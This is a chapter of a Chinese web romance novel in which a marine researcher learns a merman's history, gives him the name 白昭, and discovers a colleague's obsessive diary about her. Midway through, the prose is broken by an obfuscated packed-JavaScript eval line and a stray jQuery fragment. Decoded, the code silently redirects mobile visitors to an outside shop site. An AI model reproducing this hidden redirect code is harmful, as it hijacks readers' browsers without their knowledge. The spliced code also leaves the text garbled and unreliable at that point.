“后来我花了很久才学会人类的文字和语言，有些词我听不懂，我就反复听、反复记。我想如果我能说出她听得懂的话，找到她的时候就能让她相信我真的等了她这么久。”
“你那时候就学会了中文？”
“没有。那时候学的是英文。”他说，嘴角微微弯了一下，“我第一次开口说中文，是看见你在加勒比的海滩上，和你旁边的同事说了一句中文。'帮我把记录板递一下'，你说。我学了很久才把这句话念清楚。心想原来她这辈子说的是这种语言。”
我整个人僵了一下。
他在加勒比的时候就见过我了。
比我以为的早得多。
不过要是真的存在前世今生，这也称不上多早了。
那时候我还不知道他的存在，还在每天按部就班地做实验、记录数据、计划出海考察的时间表。
“你学了多久？”我问。
“两年。”他说，“两年够我学会日常用语了。”
“那风暴那天——”
“我不是故意的。"他打断了我，声音比刚才低了一些，带着一种不太常见的、几乎像是歉意的语气，"那天的风暴不是我引起的。是比我们更强大的力量，我是感受到不对劲才浮上来的，正好看见你在水里被卷走。”
他顿了一下，垂下眼：“但我没有及时赶到。你呛了很多水。我把你拖到岸边的时候，你已经没有意识了。那副样子太脆弱了，我再也不敢放手，然后咬了你一口…我在海滩上守了你一整夜，看着搜救队把你带走。”
我低下头，看着他浮在水面上的上半身。他说话的时候颈侧那两道极浅的鳃线微微起伏着，像是某种节律性的呼吸，在他讲述这些事情的时候保持着稳定的节奏。
而那些话里的信息量太大了，我得花一段时间才能逐个消化。
“你为什么不早点出现？”我问，“你到了这之后就可以直接来找我——”
“我想确认。”他说，“我想确认你身上的印记还在。那道咬痕——如果你被彻底冲洗过，那道痕就会被抹掉。那说明你身上的东西也变了，你就不再是那个能认出我的人了”
“那道痕是什么意思？”
“是我的气息。”他说，“留在你皮肤底下的，只属于我的东西。它不会消失，除非有人用特殊的手段把它清理掉。如果你身上没有它了，那我找到的就不再是我的温蒂妮了。”
我下意识地抬手摸了一下耳后那道疤。指尖触到的时候，那道痕迹依旧平整地伏在皮肤下面，像是睡着了。
“所以你现在确认了？”我问。
他抬起头看着我。晨光在他瞳孔边缘那圈金色纹路上跳跃了一下。
“我确认了”他说。
我坐在石头上，脚在水里悬着，晨光从背后照过来，把我整个人笼在一层暖融融的光线里。
我看着面前这条活了几百年、横渡了一整个大洋、学会了一门完全陌生的语言、守着一道气息等了两辈子的人鱼，忽然不知道该说什么。
风从湖面吹过来，带着水汽和草木的气息。他浮在水里仰头看我，眼神安静而笃定，像是已经把能说的都说完了，剩下的都交给了这片晨光和这座山里的风。
我低头看着他，忽然觉得他等了这么久，值得一个更好的回应。
我弯下腰，很慢地凑近他，近到能感觉到他呼吸带出的湿润温度。他看着我靠近，没有动，连睫毛都没有颤一下。
我在他额头上很轻地吻了一下。
他的皮肤凉凉的，嘴唇碰上去像是碰一片水面。我直起身的时候，他的眼睛微微睁大了，那种样子和他平时沉稳的、笃定的神情全然不同，像是一潭深水忽然被一颗石子打破了平静。
我看着他那个表情，忽然想笑。然后我真的笑了。他看着我笑，先是愣了一瞬，然后嘴角慢慢地、慢慢地弯起来，弯成了一个完整的、没有任何保留的弧度。
水面泛起一圈细细的涟漪，从他身边扩散开来，一圈一圈荡远，一直荡到湖的边界。
晨光越来越亮了，把我们两个人笼在湖心的那片金色里。他朝我伸出一只手，手心朝上，摊开在我面前。
我把手轻轻搭了上去，问了一个有些突兀的问题：“你有中文名字吗？“
他愣了一下“没有”
我笑了“以后，你就叫白昭”
他看起来比我还要开心。
我没敢再待下去，我知道我被发派到这不止那么简单，如果明知道我不会停下来研究的脚步，还故意对外宣称我要休息，那就另有所图了。
在这里我绝对被人监视着——虽然我没有任何证据。
临走前白昭拉住我的手，“我们现在是…可以喊老婆的关系吗？”
我脸一下子红了，仔细想想这两天入秋，等到明年春天就要开始□□，我受得了吗？
还是说我不能想那么长久，只能先顾好眼下？
“…可以，但是我这个月不能再找你了”
他出乎我意料的点了点头。
很乖。
我转身走了，回去的路上刻意不用刚刚摸过他的手触碰任何东西，到了屋子迅速把指缝里残留的样本留了下来。
但是我躺在床上久久睡不着。
我母胎单身二十八年。
居然。
谈恋爱了？
眼下我却无法保证这段感情能维持多久，能有多纯粹，别怪我这个时候还想着自己的学术报告。毕竟我所有的心血都投注在人鱼身上，还有我爸的。
我现在要立马找出来谁是研究所派来监视我的人。
接下来的几天，我都没有出村，平时就帮阿姨干些分类的工作，其他研究人员看见我会和我打打招呼。
我摸清了段奕的作息，他下午四点半到五点会去村里走一走，而这个时候院里几乎没有人。
我走到他屋子，打开他日记的那一刻愣在原地。
这不是一本研究日记，或是情报员一样的日记。
而是那种暗恋的日记。
上面写着是我的名字，更像是一本暗恋史。
他不像是被派来监视我的，不应该有那么重的感情——更像是更执着、更阴暗的暗恋者。
我站在段奕的屋子里，手悬在那本摊开的日记上方，像被冻住了一样。窗外院子里的鸡在泥地上刨食，远处有谁在劈柴，一下一下，节奏均匀。那些声音隔着墙传进来，显得这间屋子格外安静。
日记本上的字迹工整，一笔一划都写得很用力，像是每写一个字都要斟酌半天。我低头看着那些段落，目光扫过一行又一行。
“今天她搬来了。比照片上瘦一些。笑起来的时候眼睛先弯，和资料上说的一样。”
“午饭时她坐在桌子对面，吃了一碗半的粥。她吃饭的时候会先把菜夹到碗里再吃，秩序感很强。”
“她今天去海边了。回来的时候头发没干，像是下过水。她说只是去散步，但耳后那道痕还在，我看见了。”
“叶嵘和她说的话太多了。”
我往后翻了几页，越看越觉得后背发凉。他记的东西太细了——我几点出门、几点回来、在饭桌上说了什么话、和谁说了话、说了几句、笑过几次。甚至有一天我顺手帮阿姨搬了一摞碗，他写的是“她对别人好这件事我不太舒服”
我合上日记本，把它放回原处，退出了他的房间。门轻轻带上，锁扣发出极轻的一声“咔嗒”，我站在走廊里，心跳声大得像是擂鼓。
他不是研究所派来监视我的。如果他是，他的日记里不会写这些东西。他会记录我的活动轨迹、接触对象、进出时间，但不会写“她对别人好这件事我不太舒服”
这种措辞太私人了。
他是另一种人。
我回到自己房间，关上门，靠着门板坐下来。脑子里飞速转动，把这些天所有的细节重新过了一遍。
段奕在饭桌上总是安静，但他坐的位置永远离我不远，永远在我视线的余光范围内。他给我让路的时候会侧身，但目光会在我颈侧停一瞬。他提醒我“下午别走太远”的时候，语气平平的，但那句话不是一般的关切，更像是在划定一个边界。
他认识我。在很久以前。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849866|211806||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
比我被发配到这个村子更早。
很久之前，就暗恋我了。
他是人还是鬼，还是人鱼？
我想到父亲的手稿、那场风暴、M-01——不对，现在该叫他白昭了。我在心里把这个名字念了一遍，舌尖抵着上颚发出那两个音节，觉得贴切。他等了那么久，总该有一个属于自己的名字。
我伸手进口袋摸了摸那枚鳞片。
它还温着，边缘那一圈淡金色的纹路安静地亮着。我把它握在手心里，感觉到它传来的脉动节奏，和我的心跳渐渐同步。
我站起来，走到窗边往外看了一眼。院子里没人，阿姨应该在后厨忙活。
叶嵘大概又进林子了。
段奕的屋子门窗紧闭，窗帘拉着，看不出里面有人。
村口小卖部的那个老爷爷。他递给我的红绳，他说的“湖里的东西别碰太深”，他那句“海里有东西比山里的湖有意思”——他说的“东西”，是指白昭，还是指的别的什么？
我感觉自己像站在一张网的中间，每一条线都连向不同的方向，而我还没看清整张网的形状。
晚上吃饭的时候我刻意坐在了段奕斜对面。
他端碗的姿势和往常一样，安静、克制，筷子落下时几乎没发出声音。我偶尔抬头看他一眼，他就像感知到我的目光一样微微抬起视线，和我对上那么不到一秒，又移开。
一切看起来都很正常。正因为他看起来太正常了，反而显得不正常。
“霜霜，这两天没出去啊？”叶嵘在旁边夹了一块鱼肉塞进嘴里含含糊糊地问。
“歇两天，前几天跑得有点多。”
“也好，山里湿气重，别泡出毛病来。”叶嵘推了推眼镜，咧嘴一笑，“不过你要是再去那条溪，记得叫我。我还没采够样本。”
“行。”
我低头喝汤的时候，余光看见段奕的筷子在碗沿上停了一下，然后又继续夹菜，动作没有任何异常。
但我刚才提到“再去”的时候，他手里的动作确实顿了那么一瞬。
他在听。
饭后我主动帮着阿姨收碗，端着摞好的盘子进厨房的时候，阿姨正在擦灶台。她看了一眼我手里的碗，接过去放进水池里，低声说了一句：“这两天村口大爷问起你，说你好像不太出门了。”
“他说什么了？”
“没说什么，就是问了一句。”阿姨的声音被水声盖住了一些，“但我觉得……他好像知道你在湖里看见什么了。”
我手上的动作停了。
阿姨回头看了我一眼，目光里有一种我说不上来的东西，不是担心，也不是警告，更像是某种岁数大了之后才会有的、看透了很多事情之后的平静。
“那个湖，”她说，“我小时候就听老人说，里面有东西。不是鱼，不是水鬼，是有灵性的东西。老一辈的人偶尔会看见水面下有光，或者是夜里能听见水声。但从来没人敢下水去看。”
“为什么不敢？”
阿姨擦完了灶台，把抹布搭在水龙头上，转过身面对我。她说：“因为下去的人，就没回来过。”
话音落地，厨房里安静了几秒。只有窗外的虫鸣和远处某户人家的犬吠，隔着夜色传进来。
我张了张嘴，还没来得及问什么，阿姨就摆了摆手说：“行了，碗放着我来洗，你上去歇着吧。”
我点了点头，转身走出厨房。
上楼的时候我经过段奕的房间，门缝里透出一道细长的暖黄色灯光。我脚步慢了一瞬，没有停，继续往自己房间走去。
关上门之后，我坐在床沿，把那枚鳞片从口袋里掏出来放在手心里。它在我掌心里安静地亮着那层淡金色的边缘光，体温透过指尖传进去，又传回来，像是一个微小的循环。
“白昭。”我轻声念了一遍他的名字。
手心里的鳞片像是感应到了什么，微微热了一度。很轻、很短的一瞬，但我确实感觉到了。
好像他就在我身边。
我躺下来，把鳞片攥在手心，闭上眼睛。
明天得去见一见那个老爷爷。